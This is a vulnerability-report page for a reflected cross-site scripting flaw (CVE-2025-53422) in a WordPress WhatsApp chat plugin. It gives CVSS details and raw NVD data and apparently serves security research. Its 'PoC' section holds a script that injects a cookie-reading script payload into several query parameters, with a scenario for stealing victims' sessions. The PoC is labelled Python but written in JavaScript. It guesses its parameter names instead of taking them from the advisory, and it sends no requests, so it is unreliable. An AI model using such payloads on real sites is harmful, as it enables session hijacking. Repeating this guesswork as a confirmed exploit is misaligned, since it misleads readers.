Security Vulnerability Report
中文
CVE-2025-53422 CVSS 7.1 HIGH

CVE-2025-53422

Published: 2025-10-22 15:15:50
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeWarriors WhatsApp Chat for WordPress and WooCommerce tw-whatsapp-chat-rotator allows Reflected XSS.This issue affects WhatsApp Chat for WordPress and WooCommerce: from n/a through <= 1.2.1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

tw-whatsapp-chat-rotator <= 1.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-53422 PoC - Reflected XSS in tw-whatsapp-chat-rotator plugin // Target: WordPress site with WhatsApp Chat plugin <= 1.2.1 const http = require('http'); // Malicious URL with XSS payload // Replace 'TARGET_URL' with the actual vulnerable WordPress site const targetHost = 'TARGET_URL'; const xssPayload = '<script>alert(document.cookie)</script>'; // Common vulnerable parameters in WhatsApp Chat plugins const vulnerablePaths = [ '/wp-content/plugins/tw-whatsapp-chat-rotator/', '/wp-content/plugins/tw-whatsapp-chat-rotator/assets/js/whatsapp-chat.js', '/' ]; // XSS test parameters (common in WordPress plugins) const testParams = [ `?chat_id=${xssPayload}`, `?number=${xssPayload}`, `?message=${xssPayload}`, `?wa_number=${xssPayload}`, `?rotator=${xssPayload}` ]; function testXSS() { console.log('[+] Testing CVE-2025-53422 Reflected XSS'); console.log('[+] Target:', targetHost); console.log('[+] Payload:', xssPayload); vulnerablePaths.forEach(path => { testParams.forEach(param => { const fullUrl = `http://${targetHost}${path}${param}`; console.log('[*] Testing:', fullUrl); // In real testing, send request and check for reflected payload // http.get(fullUrl, (res) => { /* analyze response */ }); }); }); } testXSS(); /* Attack Scenario: 1. Attacker crafts malicious URL with XSS payload 2. Attacker sends link via social engineering (email, chat, etc.) 3. Victim clicks the link and visits vulnerable page 4. Server reflects unsanitized input in response 5. Victim's browser executes malicious JavaScript 6. Attacker steals session cookies or performs actions as victim Required Conditions: - WordPress site with tw-whatsapp-chat-rotator plugin <= 1.2.1 - Attacker tricks victim into clicking malicious link - Victim has active session on the WordPress site */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53422", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:49.563", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeWarriors WhatsApp Chat for WordPress and WooCommerce tw-whatsapp-chat-rotator allows Reflected XSS.This issue affects WhatsApp Chat for WordPress and WooCommerce: from n/a through <= 1.2.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/tw-whatsapp-chat-rotator/vulnerability/wordpress-whatsapp-chat-for-wordpress-and-woocommerce-plugin-1-2-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}